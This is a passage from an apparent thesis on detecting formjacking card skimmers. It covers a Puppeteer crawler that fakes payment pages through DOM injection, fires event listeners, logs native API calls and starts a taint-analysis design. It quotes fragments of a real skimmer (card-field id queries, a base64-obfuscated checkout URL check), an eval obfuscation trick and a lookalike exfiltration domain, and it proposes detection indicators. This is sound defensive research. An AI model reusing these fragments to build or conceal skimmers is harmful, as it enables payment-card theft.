detect the request for the source map at the back­end of the formjacker if it adds a source map pragma
to the front­end component of its formjacker:
//# sourceMappingURL=/detect­devtools.map

Fortunately, regarding our implementation, leaving the DevTools closed is sufficient to avoid detec­
tion.
1Chromium 80.0.3987.163, built on Ubuntu, running on Ubuntu 18.04
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5.4. Payment Page Simulation: Content
To provide the elements and data in the page to successfully trigger the formjacker, we build on the
ideas of Kapravelos et al. [55], who introduced ’HoneyPages’ to elicit malicious behavior in browser
extensions. We apply their concept in the context of formjackers and improve upon it by introducing
‘multi­step’ injection and solving accompanying issues in combination with real­world JavaScript. Fur­
thermore, we propose and implement a solution to solve ‘undefined properties’ that are inevitable when
performing DOM injection.

An alternative to this dynamic element injection would be static element injection, for example by
modifying the page ’in transit’ using an HTTP proxy. The advantage is that this does not require any
in­band modifications. Unfortunately, a major drawback is that the required structure and properties
of elements are typically unknown at this stage. Guessing these requirements is insufficient to detect
new or unknown strands of formjackers. We, therefore, implement the dynamic variant.

5.4.1. Multi­step Injection
The concept of DOM injection is simple: override all native functions that may be used to query for
elements in the page and dynamically generate and inject any missing DOM elements. To illustrate
this concept, an example of how getElementById(’CVC’) may be instrumented:

/* Create new field on the fly */
el = document.createElement(’input’);
el.id = ’CVC’;
document.body.appendChild(el);

/* Call the original method */
return getElementById(’CVC’);

Aside from getElementById, there are many such query functions. Those that are instrumented are
summarized in table 5.1. Depending on which one is used, there is additional information available
as to what the application is expecting. We identify and instrument four types: querying by value of a
particular attribute, querying using CSS selectors, relative queries, and special tag­based properties.

Defining a DOM Query
Before discussing how we have implemented their instrumentation, we need to define the components
of a DOM query:

queryResult = parentNode.queryFunction(arguments)

A query is performed with respect to a specific node, parent node 𝑛. To that end, one accesses or
calls the attribute on the parent node that performs this query. This attribute is query function 𝑓. In the
case of a function call, arguments 𝑎 may be supplied. Depending on the query function, the result 𝑟 of
the query may be one element or a collection of one or more elements.

Query by Value
Querying by value means searching for an element by its id, name, tag, or class. We override the
corresponding functions to dynamically generate and inject elements if the query comes up empty.
The argument specifies the value it is looking for, and we set it accordingly.

If id, name, tag, or class is unknown we initialize it to some default value (see table 5.2). To pass
data extraction we also initialize the value property. As a measure to pass basic data validation we
choose a fake, but plausible, credit card number.

Query using Selector
Two interesting alternative query functions are querySelector and querySelectorAll. These methods
support the use of arbitrary CSS selectors, which are able to query for a complex structure of nodes
with specific properties. To support these selectors wemodify ‘DOMCreate Node’ [71], a library capable
of creating DOM nodes from CSS selectors. We add support for the special selector ’*’, which queries
all elements in the given parent node.
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Table 5.1: Instrumented properties of various interfaces that allow querying the DOM. The third column specifies the type of
instrumentation that is applied (see section 5.4.1).

Property Interface Type
getElementById Document value
getElementsByName Document value
getElementsByClassName Document, HTMLElement value
getElementsByTagName Document, HTMLElement value
getElementsByTagNameNS Document, HTMLElement value
querySelector Document, HTMLElement selector
querySelectorAll Document, HTMLElement selector
children Element relative
childNodes Node relative
firstChild Node relative
lastChild Node relative
elements HTMLFormElement, HTMLFieldSetElement property
options HTMLSelectElement property
forms Document property
images Document property
embeds Document property
scripts Document property
links Document property

Table 5.2: Default values for unknown properties of injected elements, with 𝑥 a unique identifier.

.
Property Value
tag input
id “id” + 𝑥
name “name” + 𝑥
classList [“class” + 𝑥]
value “4510645983016543” (example)

Relative Query
Another class of query functions allows traversing the DOM tree of a node using ‘relative’ queries. We
implement support for ‘children’, ‘childNodes’, ‘firstChild’ and ‘lastChild’. Because very little can be
inferred from the query itself, we fully rely on the aforementioned default values.

Special Properties
Finally, special properties form a shorthand for a specific getElementsByTagName call. We instrument
these properties by rerouting their getter to the corresponding (instrumented) getElementsByTagName
call. The property ‘elements’ does not correspond to a specific tag, which we solve by treating it as a
relative query.

Allowing Multi­steps
The dynamic element injection is made multi­step by also overriding other interfaces than Document
(see table 5.1) and injecting the generated element in the parent node’s subtree. This new feature
comes with some side effects, which we discuss in the following section.

5.4.2. Real­world JavaScript
Due to loops, recursion, and events, the interaction of real­world JavaScript with our dynamic multi­
step injection may lead to unintended infinite loops, hindering a successful page load. We deal with
troublesome events by partially disabling them and introduce a decision tree to deal with loops and
recursion.

Events
Because JavaScript applications may hook event listeners to DOM changes, the injection of an element
by our instrumentation may lead to the execution of such a listener. On some webpages, these event
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listeners perform a DOM query, which leads to the dynamic injection of a new element. To avoid the
infinite loop that is created in this scenario, we override the MutationObserver interface and ignore
nodes that are injected by our instrumentation. There are alternatives to MutationObserver to monitor
for elements that are added to the DOM, but these are deprecated.

Loops and Recursion
To deal with loops and recursion we introduce a set of conditions that must hold before an element is
injected. We rely on a stack trace, 𝑆𝑝, telling us the previous lines of code that lead up to the moment
of injection. We additionally keep a reference to the stack trace that led to the injection of parent node
𝑛: 𝑆𝑖. We inject if the following conditions hold:

1. Parent node 𝑛 is a “regular” node:

• The DOM contains different types of nodes, many of which a user will never (directly) interact
with. We only inject if 𝑛 is either a ‘real’ element, such as <form>, or the DOM tree’s entry
point: document and ignore low­level or ‘meta’ nodes, such as Text and Comment.

2. Result 𝑟 is not a single node:

• If the query already successfully retrieves a single node, it is not necessary to inject. This is
mostly a runtime optimization.

• If the query returns a collection with one or more nodes, it is not guaranteed that this includes
an input element with content (value). In this case, we do not abort injection.

3. The query has not led to a (successful) injection, yet:

• If the page explicitly removes a node, it is not constantly re­added by the instrumentation.
jQuery 1.11.1 [49], for example, contains:
while (tmp.firstChild)
tmp.removeChild(tmp.firstChild);

We store a list of queries on parent node 𝑛 that have been executed with respect to 𝑛. If the
query has led to a successful injection in 𝑛, we abort.

4. If parent node 𝑛 has been injected by us, then 𝑆𝑝 must not contain any duplicate entries and it
cannot be equal to 𝑆𝑖:

• If 𝑆𝑝 contains duplicate entries, a function may be calling itself. If we keep injecting on a new
query, this recursion may cause an infinite loop. For example:
function recurse(node) {
recurse(node.firstChild);

}

To resolve this, we abort if 𝑆𝑝 contains duplicate entries.
• If 𝑆𝑝 also injected ‘node’ (which is the case if 𝑆𝑝 == 𝑆𝑖), we might be walking the DOM
recursively. An example of such behavior may also be found in jQuery 1.11.1:
while (a.firstChild && ...)
a = a.firstChild;

To resolve this, we abort injection if 𝑆𝑝 == 𝑆𝑖.

5. 𝑆𝑝 has not triggered more than 𝑁 injections in parent node 𝑛:

• A variant on the ‘a.firstChild’ loop above is [37]:
d = d.document;
for (var g = e.id, h = 0; !g || d.getElementById(g + ”_anchor”); )

g = ”aswift_” + h++;
e.id = g;
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• As here we’re injecting in the same element ‘d’ over and over, checking its parent node (as in
item 4) does not help. Alternatively, we could limit injection to only once per 𝑆𝑝. Unfortunately,
if this loop had been finite, we would not have wanted to limit injection:
const ids = [’CC_NUMBER’, ’CVC’];
for (let id of ids) {

document.getElementById(id);
// finite, but we can not tell the difference

}

• To resolve this, the number of injections is limited to some, somewhat arbitrary, large 𝑁
(100).

5.4.3. Undefined Properties
Another issue of dynamic element injection is that the tag of a queried element may be unknown,
because a query for an element with, for example, a certain id, may have any tag. As a solution, we
inject the most likely target for a formjacker if the tag is unknown: an input element.

As observed by Kapravelos et al. [55], this means that the injected element may not have all the
properties the formjacker or application is expecting. To cope with this, we identify two solutions: dy­
namically generate the missing properties, or create some kind of ‘superclass’ by adding all possible
properties to the injected element. We explore both.

Dynamic Generation
JavaScript proxies [70] are an elegant way to dynamically generate properties as they are able to ‘trap’
the get and set operations on the proxied element. Unfortunately, such a proxied element is no longer
recognized as a ’proper’ Node and rejected by the browser’s native DOM manipulation functions.

As a solution, we may consider patching those functions, for example by removing the proxy prior
to the operation, or by storing the proxied element in a ‘fake’ DOM that does accept the proxied ele­
ment. This is cumbersome, however, and comes at a runtime penalty. As there appear to be no other
methods to perform dynamic property generation using similar in­band instrumentation, we opt for the
‘superclass’ method.

Superclass
In the superclass method, we make sure that an injected element ‘implements’ all properties from all
other elements. This may be implemented relatively efficiently by using the JavaScript prototype chain:
by defining them on HTMLElement.prototype.

To return a plausible value for these ‘simulated’ properties, we generate a ‘shadow element’ of the
right type and return its value for the given property:
const unknownTag = document.getElementById(’node­with­unknown­tag’);
// Instrumentation guesses the type and injects an HTMLInputElement
// > return document.createElement(’input’);

console.log(unknownTag.options)
// the options property does not exist on an HTMLInputElement,
// maybe we should have injected an HTMLSelectElement:
// > const shadowNode = document.createElement(’select’);
// > return shadowNode.options;

The reference to the generated shadow element is stored to retain modifications to its properties.
The mapping from property to the right HTML tag is obtained by loading ’html_tag_names.json5’ [39]
from the Chromium source code. This mapping is not one­to­one, as different HTML tags may have the
same property. We choose the first one as the default unless a preferred property has been defined,
manually. This is relevant, for example, when the ‘options’ attribute is queried. We then wish to return
the value that corresponds to the select tag (an HTMLOptionsCollection) and not the one from the
datalist tag (a ‘regular’ HTMLCollection), because the first one also specifies a ‘selectedIndex’ property.

Optimizations
Properties that have a primitive default value are retrieved once at the start­up of the crawler and
returned from memory at runtime. As an additional optimization, we limit ourselves to HTML elements,
although, for example, getElementById can return any element (HTML or SVG). There are a non­
negligible number of SVG properties and they seem unlikely to be queried in the context of formjackers.
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Limitations
A disadvantage of predefining the properties is that unknown properties cannot be dealt with. This
would only be a problem if the page contains custom­defined HTML elements. In a way, this is, however,
also an advantage, as a property may be used as a flag. If it is already defined, a page might assume
certain functionality has already triggered (e.g. data exfiltration).

Furthermore, a limitation of the proposed solution is that modifications to the subtree of the involved
element are not reflected in its predefined properties. In the above example where the ‘options’ property
is queried, the returned default value is correct: an empty HTMLOptionsCollection. If the application
were to perform any modifications, such as adding an option to the element, the returned HTMLOption­
sCollection will stay empty. The influence of this limitation on formjackers is deemed limited, because
it is only a problem if the application wants to perform a modification and depends on these specific
properties, for example, to verify the operation.

Additionally, as part of the multi­step injection, a query to ‘options’ will lead to the injection of an
option element in the shadow element. This means that these elements are not actually injected into
the DOM, which under the right circumstances might be problematic.

5.5. Formjacker Triggering
Having simulated a payment page, we proceedwith a formjacker triggering process that aims to execute
any asynchronous formjacker code. We discuss three different methods, highlight important aspects
of our implementation and finally cover its limitations.

5.5.1. Methodology
We identify three methods to trigger the execution of the asynchronous formjacker components: mim­
icking user interaction using Puppeteer, directly firing events, and directly executing attached event
listeners.

User Interaction
A user performing an e­commerce transaction would normally trigger asynchronous formjacker com­
ponents by interacting with the page. This behavior may be emulated using Puppeteer. This approach
most closely matches the payment process of a ‘real’ user. Due to the communication between the
browser driver and the browser, it will also be relatively slow.

Firing Events
To improve on this we may dispatch the event directly on the target element, instead of interacting with
the element via Puppeteer. In this case, the event will be fired from in­page JavaScript. This means the
callback is still executed by the browser and the necessary ‘meta­data’ will be supplied automatically.

A disadvantage that holds for both simulating user interaction and directly firing events, is that
detailed control of when and how often callbacks are executed is difficult. Firing events may have
certain side effects that need to be mitigated. For example, firing a click event on an anchor element
will cause the browser to navigate to the associated URL.

Executing Event Listeners
Instead, it is possible to directly execute the attached event handlers, as Kapravelos et al. [55] do. The
advantage is that it offers more control. For the selected events, it can be guaranteed that their event
handlers are executed. Furthermore, it is faster than previous approaches: callbacks can be executed
immediately one after the other. Additionally, by executing the callbacks directly, time­based events do
not require idling on­page.

5.5.2. Implementation
We opt for the latter approach because we prefer control and a low runtime overhead over stealth.
Instead of firing all callbacks that are attached to the page, only those that are related to time or explicit
user interaction (mouse and keyboard) are executed. These would not have been triggered explicitly
by a user visiting the website, and by doing so we avoid intervening with the page’s functionality.

We override addEventListener, setInterval, setTimeout, and the getters and setters of the various
onevent attributes that allow attaching an event listener. These instrumented variants store the type of
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event and the callback that is added. When the page has finished loading, these callbacks are fired.
Because a callback can add additional callbacks, this process is repeated until no new callbacks are
added.

To satisfy requirement 7 regarding the properties of the supplied event object, the event target is set
to the object to which the event listener was attached. When the browser executes the callback, this
refers to this same object [68]. This behavior is mimicked by using Function.prototype.apply which sets
the ‘this’ value for the given function:
// this arguments
callback.apply(targetNode, [ mockedEventObject ]);

Where mockedEventObject is a simulated event object, where the properties ‘target’, ‘srcEle­
ment’ and ‘currentTarget’ have been initialized to refer to the target node. This is also required to
satisfy requirement 7.

5.6. Dynamic Analysis
Previous sections explored the steps required to elicit malicious behavior in formjackers. This section
will look at what has to be implemented to analyze this behavior and detect their presence. The idea
is to identify a unique pattern or some form of unique behavior that makes a formjacker stand out from
other, benign or malicious, JavaScript.

In chapter 4 it was shown that the two fundamental components of a formjacker are: accessing data
(extraction) and transmitting it to a third party (exfiltration). The only way for a formjacker to extract data
from a page is by using certain native functionality. As such the first method to monitor the behavior
will be to monitor its usage of native functions and attributes. After extraction, the formjacker will have
to exfiltrate the data. As the second method to detect formjackers, we will therefore explore techniques
to detect this exfiltration step.

5.6.1. Native API Usage
We first discuss how we monitor the usage of native API. Then, we cover specifically which native
functionality we propose to use as an indicator for the presence of formjackers.

Implementation
As discussed before we apply prototype patching to instrument the target application. We implement
monitoring by redefining the property of interest. As an example, we will consider the instrumentation
of the ’value’ property of HTMLInputElements, which gives direct access to the content of the corre­
sponding input field.

First, we obtain the property descriptor for the given property and retrieve the original getter for the
given property:
const {get: getter} = Object.getOwnPropertyDescriptor(HTMLInputElement.prototype, ’value’);

We then override this getter with an instrumented variant:
Object.defineProperty(HTMLInputElement.prototype, ’value’, valueOverride);

This instrumented variant obtains a stack trace, applies the original getter with the right context, and
logs the access:
function valueOverride() {

// retrieve stack trace
const {callerfile, stacktrace} = getCallerFile();

// apply original getter
let returnValue = Function.prototype.apply.call(getter, this);

// log access
logProperty(callerfile, this, ’value’, undefined, stacktrace, returnValue);

// return original result
return returnValue;

}
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Table 5.3: Instrumented properties of various interfaces that allow testing for the presence of a certain substring.

Property Interface Note
includes String
indexOf String
lastIndexOf String
match String Indirect, via RegExp.prototype[Symbol.match]
matchAll String Indirect, via RegExp.prototype[Symbol.matchAll]
search String Indirect, via RegExp.prototype[Symbol.search]
endsWith String
startsWith String
exec RegExp
test RegExp Indirect, via RegExp.prototype[Symbol.exec]
Symbol.match RegExp Indirect, via RegExp.prototype[Symbol.exec]
Symbol.matchAll RegExp Indirect, via RegExp.prototype[Symbol.exec]
Symbol.search RegExp Indirect, via RegExp.prototype[Symbol.exec]

To retrieve the stack trace, we build on the implementation as introduced by Vastel [102]. The
advantage of this method is that it works in­band, and thus works well with prototype patching. It is not
perfect, as, at least in Chromium, the stack trace appears to be limited to the last 10 frames.

Chosen Indicators
As shown in the example the value property of HTMLInputElements is monitored as access to the data
entered by the user is fundamental to the workings of a formjacker. We also monitor HTMLTextAreaEle­
ments, which are very similar to input elements.

Additionally, we propose the following three indicators that we believe might uniquely identify form­
jackers. Their performance will be evaluated in chapter 7.

Element Queries A typical pattern in formjackers seems to be to iterate over the fields of interest by
name or id. The spaghetti skimmer from chapter 4, for example, contains:
sprezzo = [”authnetcim_cc_number”,”authnetcim_cc_exp_month”, /* ... */, ”authnetcim_cc_cid”];

sprezzo.forEach(function (v, k) {
fondamento[k] = document.getElementById(v);
/* ... */

}

We instrument getElementById and getElementsByName to log performed queries and compile a
list of suspicious credit card­related ids and names that are queried by publicly reported formjackers.

Location Queries As noted before, formjackers frequently seem to dynamically verify the URL of the
current page and check for the presence of checkout related string. Such as this example from the
spaghetti skimmer, already shown in chapter 4:
// deobfuscated: indexOf(”checkout/onepage”)
if (window.location.href.indexOf(window.atob(”Y2hlY2tvdXQvb25lcGFnZQ==”)) > 0) {

// ...
}

We identify string and regex related functions that may be used to perform such a check and instru­
ment these methods to log their operands, see table 5.3.

Debugger Detection The library [93] performing the ‘screen size’ debugger detection check (sec­
tion 5.3.3) also includes a check for the presence of the outdated development tools extension for
Firefox: Firebug [32]:
if ( /* ... */ ((window.Firebug && /* ... */) || widthThreshold || heightThreshold)) {

// DevTools Detected
}
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As such, a simple indicator for debugger detection is a query to the property ‘Firebug’ on the global
object ‘window’. We instrument this property to log queries to it.

5.6.2. Data Exfiltration Detection
As an alternative to monitoring the usage of native API, we propose to use the mandatory data exfil­
tration stage to detect formjackers. We identify two methods to perform data exfiltration detection and
compare them here: monitoring network connections and taint analysis. The implementation of the
chosen method is discussed in chapter 6.

Network Connections
A straightforward approach would be tomonitor the network connections that a target applicationmakes
when we visit its website. In general, this approach is challenging because any third­party request could
be data exfiltration and even first­party requests have to be investigated (see section 4.6).

As a solution, a set of heuristics could be applied to detect suspicious connections, for example,
ones to domains that are very similar to legitimate domains (e.g. ‘ajaxcloudflare.com’ [86] versus
’ajax.cloudflare.com’). As at this level of abstraction, these heuristics cannot tie into the fundamen­
tally unique behaviors of formjackers it will be difficult to guarantee full coverage over the spectrum of
possible configuration of formjackers. To give an example, a formjacker may use a suspicious domain,
such as ajaxcloudflare.com, but it might also not.

The only exception would be if we can prove the connection contains data that was extracted from
the page. If we inject 𝑥 in all input fields, we can try to find 𝑥 or common encodings of it, such as btoa(𝑥),
in the string of the request. As noted in chapter 3, this approach has been applied to detect malicious
browser extensions. Here the existence of encryption, or custom encoding schemes, was problematic.
This may very well hold for formjackers as well. As such, we explore options to consistently prove
that a piece of data was extracted from the page and that it was transmitted to a third party using taint
analysis.

Taint Analysis
In chapter 3 we find that prior work implements two types of taint analysis: out­of­band, by applying
modifications to the browser engine, and in­band, by applying source code rewriting. For our data exfil­
tration detection solution, we would prefer to use an out­of­band solution, because rewriting source
code is tricky: the formjacker should semantically remain identical. Additionally, as noted in sec­
tion 5.2.1, formjackers may detect the changes to their source code and refuse to continue execution.
This is problematic, as a successful exfiltration is a prerequisite for detecting it.

From a practical perspective, we are limited to publicly available taint analysis solutions, as im­
plementing one ourselves is beyond the scope of this work. In the realm of Chromium­based, out­
of­band, taint analysis solutions the only publicly available engine is, to the best of our knowledge,
ChromiumTaintTracking [66]. The two­year­old solution seems non­trivial to port to a modern version
of Chromium, but more importantly only supports “string­to­string” taint propagation. This means that
any custom encoding or encryption scheme is problematic. Mystique [12] is promising, as it does not
have the latter limitation. Unfortunately, their implementation is not publicly available.

As such, we resort to an in­band taint analysis solution. In chapter 3, two solutions were pre­
sented: Jalangi and DexterJS. Jalangi is a powerful, general­purpose framework whose successor is
still actively maintained. It is able to deal with dynamically generated code, which makes instrumenting
static files sufficient. On the downside, Jalangi only supports a relatively old version of JavaScript, EC­
MAScript 5. Websites often feature more recent syntax, so transcompiling any script that is received
is required. This process is an additional computational burden. Furthermore, Jalangi introduces a
separate, offline, analysis phase, where we prefer a solution that performs an immediate in­browser
analysis as the website is loaded. DexterJS fits this description but unfortunately does not seem to
publicly supply their implementation. Instead, we create our own implementation, based on their ideas.
This implementation is described in chapter 6.

5.7. Crawler
The previous steps to elicit and monitor malicious behavior in formjackers are brought together in a
crawler. We first discuss the system’s architecture, highlight some implementation details and finally
show the detection solution’s output.
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5.7.1. Architecture
An overview of the different components of the crawler is given in fig. 5.3. First, the crawler will retrieve
a domain from an HTTP priority queue. It will visit the given domain at the expected cart location
’/checkout/cart’. Before executing any of the page’s scripts an instrumentation script is injected and
executed. This applies the various patches as described in this chapter. To satisfy requirement 4
regarding support for iframes, these patches are applied for every frame that is created.

instrumentation

script

Figure 5.3: Crawler architecture: parallel browsing, distributed using containers.

Then, the page’s original JavaScript executes. Native API usage is logged and certain properties,
such as ‘location.href’, or function calls such as ‘indexOf’ may be spoofed to simulate the presence of
a payment page. Part of this simulation is the injection of elements on DOM­related queries. The page
continues as normal and every bit of JavaScript that is executed by the browser is stored. When the
‘load’ event is fired, indicating that the page has finished loading, the driver will initiate the formjacker
triggering process: any relevant attached event listeners are executed. When no new event listeners
are introduced, the driver writes out the recorded data and continues with the next domain.

Each crawler may be instantiated multiple times to distribute the workload over different machines.
To increase portability and to isolate the crawler, each instance is instantiated inside a Docker container.
Throughput is maximized by instantiating multiple browsers or multiple windows in parallel.

5.7.2. Implementation Details
Finally, we deal with four smaller issues: timeouts, dialog windows, CAPTCHAs, and certificate errors.

Timeout
Some web servers are unreachable and to differentiate between those and ones that are slow, we
introduce an additional timeout for the first response of the server. If the server does not respond within
25 seconds, we will terminate the connection. If it does respond, it might just be slow, and we give it
two minutes to load.

Dialog Windows
A dialog window may pop up when we visit a website. To prevent this from halting the page load,
we click “accept” on any dialog as soon as it pops us. Although this is different from the behavior of
DuckDuckGo’s crawler [27], we feel accepting any prompt is sensible behavior in terms of maximizing
loaded content.

CAPTCHAs
When a CAPTCHA is detected, the connection is aborted and the domain is re­queued, such that
we may try again later. We do this to avoid submitting any CAPTCHAs. We are automatically firing
event listeners, and some of those may otherwise try to do so. Therefore, iframes are monitored for
the presence of known CAPTCHA services as hCaptcha (this includes the major web infrastructure
company Cloudflare [79]) and Google’s reCAPTCHA.
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Certificate Errors
The crawler ignores certificate errors to make sure that pages that have not been configured properly
are also analyzed. Actually, after the initial failure to load the page, the domain is locally re­queued with
a setting to ignore certificate errors. This approach allows logging that there was a certificate error.

5.7.3. Output
The crawl creates an analysis profile of a given URL, which is written to disk together with the scripts
that are encountered during analysis.

Analysis Profile
The analysis profile describes the dynamic behavior of the analyzed website. It contains, for instance,
the native API calls that are monitored. A snippet from the analysis profile on a webshop (modelo­
drive.com) is given here as an example. The snippet shows that the property ‘window.Firebug’ was
accessed after the formjacker triggering process was initiated (lines 16 to 11):

1 {
2 ”object”: {
3 ”objectName”: ”[object Window]”,
4 ”length”: 3
5 },
6 ”method”: ”Firebug”,
7 ”args”: null,
8 ”calltrace”: [
9 ”__crawler_monitorjs__:940:46”,

10 ”https://modelodrive.com/?url=https://modelodrive.com/checkout/onepage:723:330”,
11 ”callCallback (__crawler_monitorjs__:1304:33)”,
12 ”main (__crawler_monitorjs__:1288:25)”,
13 ”__crawler_monitorjs__:1249:21”,
14 ”new Promise (<anonymous>)”,
15 ”triggerEvents (__crawler_monitorjs__:1248:16)”,
16 ”__puppeteer_evaluation_script__:2:19”
17 ],
18 ”returns”: null,
19 ”timestamp”: 1591613639667
20 }

Scripts
To reduce disk usage, scripts are only stored if their hash is unknown. Additionally, to support storing
a large number of scripts, we have to circumvent the file system’s limitations on the maximum number
of files in a single directory. Files are therefore stored in a nested directory structure. For instance, a
script with SHA1 hash ‘302a...’ may be stored as follows:
30/2a/302a103bd4343219301e8cb99290c54105762137.js.gz

5.8. Discussion
Finally, we revisit the requirements from the beginning of this chapter. We divide the requirements
into five categories. First, the one ‘functional’ requirement: generating an analysis profile. Then, we
divide the requirements to elicit malicious behavior into four categories: navigation, detection evasion,
payment page simulation, and formjacker triggering.

Analysis Profile
We noted that the detection solution should generate a dynamic analysis profile from which the pres­
ence of a formjacker can be inferred. We generate such a report by monitoring native API usage using
prototype patching. Whether or not this analysis profile is suited to infer the presence of a formjacker
will be evaluated in chapter 7.

Navigation
Two requirements from chapter 4 concern the proposed navigation strategy. Requirement 1 stipulates
that we should visit the right page. As noted in section 5.2.2, we explicitly choose not to do so, because
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it is at best slow, and at scale possibly even unfeasible. As a consequence, formjackers that are only
attached to the payment page cannot be detected with the proposed detection solution.

Requirement 4, then, states that redirects should be followed and content in iframes should be
monitored. This requirement is fulfilled: the instrumented browser automatically follows redirects and
content in iframes is monitored by injecting the instrumentation script in every iframe that is created.

Detection Evasion
Two requirements concern avoiding detection evasion techniques that may be used in formjackers.
Requirement 2 states that we should satisfy server­side checks and requirement 5 makes a similar case
for the client­side. We spoof HTTP header fields and implement workarounds for various client­side
checks. We also opt for a full­fledged browser, trying to behave as ‘normal’ as possible. It is, however,
still possible to detect certain implementation details, such as automated or headless Chromium [101].
This means that some formjackers may evade detection, although we would expect that most common
scenarios are covered. This will be evaluated in chapter 7.

Payment Page Simulation
Requirement 8 states the page must include a structured set of DOM elements and data that matches
the expectations of the formjacker. By implementing DOM injection, we try to dynamically infer those
expectations. However, we do not try to infer the expectations of the formjacker with respect to the
data that is inserted into the page. Instead, we enter some plausible credit card number. As such, a
formjacker performing extensive data validation may be problematic.

Formjacker Triggering
In chapter 4 we formulated three requirements that are relevant for the formjacker triggering implemen­
tation. Although we cover the scenarios we deem most plausible, the implementation is incomplete.
Requirement 3 states that we should also fire statically attached event listeners. This requires some
complementary approach which we do not implement. The same holds for requirement 6, where we
do implement firing time and event­based callbacks, but not DOM change­based ones. Finally, we
do not fully fulfill requirement 7 which describes the properties of the supplied event object, because
a reference to the event data (for input events) is omitted. This means that malicious behavior for
some (hypothetical) types of formjackers may not surface. As noted before, we deem these scenarios
relatively unlikely.

Conclusion
In summary, the proposed formjacking detection solution follows the requirements given at the begin­
ning of this chapter. However, as a result of a trade­off between scalability and exhaustiveness, or
because not every last exception has been covered, the given implementation differs from an ideal
solution. As such, some formjackers may exist that will not be detected by the proposed formjacking
detection solution.
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Taint Analysis

This chapter introduces a custom in­band taint analysis solution to detect data exfiltration in formjack­
ers. First, the requirements and the high­level design are described in sections 6.1 and 6.2. Subse­
quent, important components of the detection solution are explained. In section 6.3 we discuss how we
perform on­the­fly source code rewriting. Then, in section 6.4, we explain how taint propagation sup­
port can be added to JavaScript operators. Similarly, we cover taint propagation in property accesses
in section 6.5, and with native function calls in section 6.6. We then describe the actual exfiltration
monitoring in section 6.7 and finally, present a short section on the details of the implementation in
section 6.8.

6.1. Requirements
We formulate the five following requirements that the to­be­implemented tainting solution should satisfy:

1. Instrument JavaScript on­the­fly: the tainting solution is an addition to the detection solution as
described in chapter 5. As this analysis is performed immediately and in­browser, the tainting
instrumentation should support that by instrumenting JavaScript on the fly.

2. Preserve the script’s semantics: as the behavior of a script is analyzed at runtime, the instrumen­
tation should preserve the semantics, or ‘the behavior’, of the script.

3. Be taint preserving: any operation on a piece of tainted data should be able to propagate the taint.
Concretely this means that the instrumentation should include support for dynamically generated
code, is able to taint any type of object, and propagate the taint when properties of the object are
accessed or when the object is being manipulated using native functions.

4. Monitor for the exfiltration of extracted data: the tainting instrumentation should monitor for the
exfiltration of sensitive data by tainting data extracted from the page.

5. Elicit malicious behavior : the tainting instrumentation should fulfill the requirements from chap­
ter 4 to make sure that malicious behavior comes to the surface.

6.2. High­Level Design
The idea of taint analysis is to attach a ‘taint’, a label, to the output of a certain operation. This operation
is referred to as the taint source. This taint is then propagated to new pieces of data as the application
under investigation modifies the original output. At some point, tainted data may reach a defined end­
point, a ‘sink’, which will be monitored. In our case, we want to apply the taint to data that a user enters
into the page (source) and monitor methods that may be used to exfiltrate data (sink). This allows for
a much stronger indication as to the presence of a formjacker.

To this end, we build on the ideas of Parameshwaran et al. [76], who created the in­band tainting
solution DexterJS to identify XSS vulnerabilities. Their solution is based on source code rewriting to
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include the required tainting instrumentation. Instead of storing the taint metadata in a specific name­
space, the authors convert primitive strings to String objects, which are able to carry taint information
themselves. Their solution already satisfies our requirements for an in­band tainting solution that can
instrument JavaScript on the fly and is able to deal with dynamically generated code. We implement
a similar solution and additionally add support for tainting arbitrary objects (versus only strings), native
function calls, and property access taint propagation. Finally, we identify and monitor sinks relevant for
formjacking.

The tainting solution is implemented on top of the crawler presented in chapter 5. Therefore we
continue to build on top of Chromium, Puppeteer, and the DevTools Protocol.

6.3. On­the­fly Rewriting
To perform the on­the­fly source code rewriting, the to­be­executed source code has to be intercepted
and replaced. Instead of using an HTTP proxy as DexterJS does, we use the flexibility of the DevTools
Protocol. This reduces the crawler to a single Node.js application and limits the number of moving
components. We identify two options to perform source code rewriting using the DevTools Protocol:
‘debugger based’ and using Puppeteer as a proxy.

6.3.1. Debugger Based
In a debugger­based approach, we would set an instrumentation breakpoint just before a script’s execu­
tion (‘beforeScriptExecution’) and replace its source code using the protocol message ‘setScriptSource’
before continuing. The advantage of this approach is that aside from statically included JavaScript, i.e.
inside script tags, all forms of dynamically generated JavaScript are intercepted as well.

6.3.2. Puppeteer as a Proxy
Alternatively, the DevTools Protocol allows using Puppeteer as a proxy by intercepting network re­
quests. The advantage of request interception is that it is faster because the debugger does not have
to stop and communicate with Puppeteer at every script that is being executed. As an example: where
the debugger­based approach slows down the loading of ‘nos.nl’ from 4 to 12 seconds, the proxy­based
approach goes from a little below to a little above four seconds. Another advantage is that this method
has shown to be more stable. At the time of writing using ‘setScriptSource’ would sometimes result in
the browser crashing.

A disadvantage of this approach is that dynamically generated code is not automatically instru­
mented, because these requests are intercepted before execution. Parameshwaran et al. [76] resolve
this issue by instrumenting dynamic code generation constructs (such as eval) to instrument their ar­
guments at runtime. Unfortunately, as the code is instrumented using static methods, this approach is
insufficient when the constructs are hidden using obfuscation techniques. To illustrate this issue, the
authors would instrument eval(’foo’) along the lines of:
let x = instrument(’foo’), eval(x);

Which is only possible if the (static) rewriting engine can ’find’ eval. This may be circumvented
using a wide range of obfuscation techniques. For example:
window[’e’ + ’v’ + ’a’ + ’l’](’foo’)

A second disadvantage of the proxy concept is that the source code has to be rewritten at the
‘response stage’. Previously, the crawler would do request interception at the ‘request stage’ to prevent
connections to CAPTCHAs. As the protocol does not allow interception at both stages, CAPTCHA
detection is not compatible with ‘Puppeteer as a proxy’.

6.3.3. Implementation
As a compromise, we implement a hybrid method, which uses request interception to instrument ‘stati­
cally’ available scripts. Dynamically generated code is instrumented using the debugger. This approach
combines the stability and speed of a proxy with the dynamic support of a debugger­based approach.

To avoid instrumenting the same piece of JavaScript twice, the debugger is instructed to ignore
resource URLs that have been statically instrumented. Because some resource URLs may contain
multiple <script> tags, we append a sourceURL pragma that ‘virtually’ defines a URL for the given
resource. For example:
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<script type=”text/javascript”>
foo; bar;

</script>

Would be replaced by:
<script type=”text/javascript”>

foo; bar;
//# sourceURL=__crawler_inline_1

</script>

6.4. Operator Overloading
A major part of the tainting solution includes how to deal with JavaScript operators applied to tainted
values. As noted, primitive values in JavaScript cannot store a taint. As a solution, the tainting process
includes converting the original value to an object. We do so by defining a class:
class Tainted {

constructor(x) {
this.originalValue = x;

}
}

let toBeTainted = 0;
let taintedValue = new Tainted(toBeTainted);

However, as JavaScript does not support operator overloading, the following operation will not return
the expected result:
taintedValue + 1;
> ”[object Object]1”

For many operators, this may be partially resolved by defining the ‘valueOf’ method. In that case, it
